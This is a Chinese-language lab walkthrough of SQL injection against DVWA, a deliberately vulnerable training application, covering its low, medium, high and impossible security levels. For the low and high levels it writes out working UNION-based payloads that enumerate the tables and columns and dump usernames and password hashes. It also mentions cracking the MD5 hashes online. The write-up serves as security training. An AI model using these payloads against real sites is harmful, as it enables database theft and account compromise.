dvwa之SQL Injection
Security Level: low
由源代码可知,对字符串没有进行任何过滤
输入
1' and 1=1#
输入
1' and 1=2#
判断字段数
1' order by 2#
1' order by 3#
由此判断字段数为2
查用户及数据库
1' union select user(),database()#
查dvwa下的表
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')#
查users表下的字段
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#
查user和password的值
1' union select 1,(select group_concat(user,password) from dvwa.users)#
密码使用了md5加密,我们随便找个md5解密网站进行解密
Security Level: medium
由源代码可知,这里对我们输入的id做了过滤处理,会将我们输入的单引号给转义掉,所以这里只能是数字型注入或者为宽字节注入
输入1,返回了结果,但是url没有回显我们输入的id,因为输入的1是以POST方式传了上去,这里使用google扩展工具hackbar抓取POST内容进行注入
判断是否有注入点
可以看到存在注入点
判断字段数
可以判断字段数为2
查用户和数据库
查dvwa下的表
查users下的字段
#这里使用0x7573657273是因为单引号被转义了,0x7573657273是users的十六进制结果
查user,password的值
Security Level: high
这里输入ID值会自动跳转到另一个页面,防止了自动化的SQL注入,查看源码可知,在sql语句后面加了个limit函数,这里依然可以用#把他注释掉,然后跟low等级就是一样的
查用户和数据库
1' union select user(),database()#
查dvwa下面的表
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')#
查users下的字段
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#
查user,password的值
1' union select 1,group_concat(user,password) from dvwa.users#
Security Level: impossible
分析源码可以看到使用了PDO技术,杜绝了SQL注入